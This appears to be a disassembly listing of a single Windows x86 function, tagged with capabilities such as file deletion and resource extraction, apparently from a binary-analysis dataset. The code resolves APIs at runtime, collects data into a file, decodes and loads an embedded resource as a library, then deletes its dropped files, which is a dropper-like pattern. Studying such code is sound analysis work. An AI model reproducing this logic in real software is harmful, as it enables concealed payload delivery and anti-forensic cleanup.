Function at 0x4015a0
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xee50
call fcn.004055d0
call fcn.00401030
mov dword [ebp - 0xee48], eax
mov eax, dword [0x4071f4]
push eax
mov ecx, dword [ebp - 0xee48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [fcn.0040de7c], eax
mov edx, dword [0x4071d8]
push edx
mov eax, dword [ebp - 0xee48]
push eax
call dword [fcn.0040de7c]
mov dword [fcn.0040e488], eax
mov ecx, dword [0x4071c8]
push ecx
mov edx, dword [ebp - 0xee48]
push edx
call dword [fcn.0040de7c]
mov dword [fcn.0040de68], eax
mov eax, dword [0x4071d0]
push eax
mov ecx, dword [ebp - 0xee48]
push ecx
call dword [fcn.0040de7c]
mov dword [fcn.0040de80], eax
mov edx, dword [0x4071c4]
push edx
mov eax, dword [ebp - 0xee48]
push eax
call dword [fcn.0040de7c]
mov dword [fcn.0040de6c], eax
lea ecx, [ebp - 0x340]
mov dword [0x40e5c0], ecx
push 0
call dword [fcn.0040de6c]
mov dword [ebp - 0xee4c], eax
push 0x1235
push 0x1111
mov edx, dword [ebp - 0xee4c]
push edx
call fcn.004010f0
add esp, 0xc
mov dword [0x40e5c0], eax
mov eax, dword [0x40e5c0]
cmp dword [eax + 0x3c], 1
jne 0x401852
mov ecx, dword [0x40e5c0]
cmp dword [ecx], 1
jne 0x40176b
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov edx, dword [0x40e5c0]
add edx, 0x13a
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [0x40e5c0]
add eax, 0x13a
push eax
call fcn.004031c0
add esp, 0x10
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov ecx, dword [0x40e5c0]
add ecx, 0x202
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [0x40e5c0]
add edx, 0x202
push edx
call fcn.004031c0
add esp, 0x10
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov eax, dword [0x40e5c0]
add eax, 0x266
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x40e5c0]
add ecx, 0x266
push ecx
call fcn.004031c0
add esp, 0x10
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov edx, dword [0x40e5c0]
add edx, 0x2ca
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [0x40e5c0]
add eax, 0x2ca
push eax
call fcn.004031c0
add esp, 0x10
mov ecx, dword [0x40e5c0]
cmp dword [ecx], 2
jne 0x401852
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov edx, dword [0x40e5c0]
add edx, 0x40
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [0x40e5c0]
add eax, 0x40
push eax
call fcn.004031c0
add esp, 0x10
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov ecx, dword [0x40e5c0]
add ecx, 0xd6
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [0x40e5c0]
add edx, 0xd6
push edx
call fcn.004031c0
add esp, 0x10
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov eax, dword [0x40e5c0]
add eax, 0x72
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x40e5c0]
add ecx, 0x72
push ecx
call fcn.004031c0
add esp, 0x10
push 0x407268
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407268
mov edx, dword [0x40e5c0]
add edx, 0xa4
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [0x40e5c0]
add eax, 0xa4
push eax
call fcn.004031c0
add esp, 0x10
push 0x40e348
push 0x40e700
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0x4071fc]
push ecx
push 0x40e700
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call fcn.00401ed0
mov edx, dword [0x40e5c0]
cmp dword [edx + 0xc], 1
je 0x4018ac
mov eax, dword [0x40e5c0]
cmp dword [eax + 0x24], 1
je 0x4018ac
mov ecx, dword [0x40e5c0]
cmp dword [ecx + 0x10], 1
je 0x4018ac
mov edx, dword [0x40e5c0]
cmp dword [edx + 0x14], 1
jne 0x4019ed
push 0x40e700
push 0x40deb0
push 0x40e490
push 0x40e218
push 0x40dfe0
call fcn.00402080
add esp, 0x14
test eax, eax
je 0x4019ed
mov eax, dword [0x40e5c0]
cmp dword [eax + 0xc], 1
jne 0x4018fb
push 0x40dfe0
call fcn.00404600
add esp, 4
push eax
lea ecx, [ebp - 0xee38]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [0x40e5c0]
cmp dword [edx + 0x24], 1
jne 0x401922
push 0x40e218
call fcn.004044d0
add esp, 4
push eax
lea eax, [ebp - 0xee38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x40e5c0]
cmp dword [ecx + 0x14], 1
jne 0x401964
push 0x40e490
call fcn.004050a0
add esp, 4
push eax
lea edx, [ebp - 0xee38]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40e838
call fcn.004052c0
add esp, 4
push eax
lea eax, [ebp - 0xee38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x40e5c0]
cmp dword [ecx + 0x10], 1
jne 0x40198b
push 0x40deb0
call fcn.004051b0
add esp, 4
push eax
lea edx, [ebp - 0xee38]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x40e5c0]
cmp dword [eax + 0xc], 1
je 0x4019a3
push 0x40dfe0
call sub.MSVCR80.dll_remove
add esp, 4
mov ecx, dword [0x40e5c0]
cmp dword [ecx + 0x24], 1
je 0x4019bc
push 0x40e218
call sub.MSVCR80.dll_remove
add esp, 4
mov edx, dword [0x40e5c0]
cmp dword [edx + 0x14], 1
je 0x4019d5
push 0x40e490
call sub.MSVCR80.dll_remove
add esp, 4
mov eax, dword [0x40e5c0]
cmp dword [eax + 0x10], 1
je 0x4019ed
push 0x40deb0
call sub.MSVCR80.dll_remove
add esp, 4
mov ecx, dword [0x40e5c0]
cmp dword [ecx + 4], 1
jne 0x401a0c
call fcn.004025f0
push eax
lea edx, [ebp - 0xee38]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x40e5c8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xee40], eax
push 0
lea eax, [ebp - 0xee3c]
push eax
lea ecx, [ebp - 0xee38]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0xee38]
push edx
mov eax, dword [ebp - 0xee40]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0xee40]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x354], eax
push 0x40d120
push 0x6f
mov edx, dword [ebp - 0x354]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0
jne 0x401a9a
jmp 0x401c2f
mov eax, dword [ebp - 0x350]
push eax
mov ecx, dword [ebp - 0x354]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x3d4], eax
mov edx, dword [ebp - 0x350]
push edx
mov eax, dword [ebp - 0x354]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x34c], eax
mov ecx, dword [0x40d128]
mov dword [ebp - 0x3c0], ecx
mov edx, dword [0x40d12c]
mov dword [ebp - 0x3bc], edx
mov eax, dword [0x40d130]
mov dword [ebp - 0x3b8], eax
mov ecx, dword [0x40d134]
mov dword [ebp - 0x3b4], ecx
mov edx, dword [0x40d138]
mov dword [ebp - 0x3b0], edx
mov eax, dword [0x40d13c]
mov dword [ebp - 0x3ac], eax
push 0x4c
push 0
lea ecx, [ebp - 0x3a8]
push ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
mov dword [ebp - 0xee50], 0
jmp 0x401b42
mov edx, dword [ebp - 0xee50]
add edx, 1
mov dword [ebp - 0xee50], edx
cmp dword [ebp - 0xee50], 0x10
jge 0x401b67
mov eax, dword [ebp - 0xee50]
mov ecx, dword [ebp - 0xee50]
mov dl, byte [ebp + ecx - 0x3c0]
mov byte [ebp + eax - 0x3d0], dl
jmp 0x401b33
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 4], eax
push 0xf
mov ecx, dword [ebp - 0x34c]
push ecx
lea edx, [ebp - 0x3d0]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00401180
add esp, 0x10
push 0x40e110
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
jne 0x401bab
jmp 0x401c2f
push 0x40d140
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x344], eax
mov edx, dword [0x40e5c0]
push edx
mov eax, dword [ebp - 0x3d4]
push eax
call dword [ebp - 0x344]
add esp, 8
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [0x40e5c0]
cmp dword [edx + 0x330], 1
jne 0x401c0a
mov eax, dword [0x40e5c0]
mov ecx, dword [eax + 0x334]
push ecx
call fcn.00401c40
add esp, 4
push 0x9c4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40e5c8
call sub.MSVCR80.dll_remove
add esp, 4
push 0x40e110
call sub.MSVCR80.dll_remove
add esp, 4
mov esp, ebp
pop ebp
ret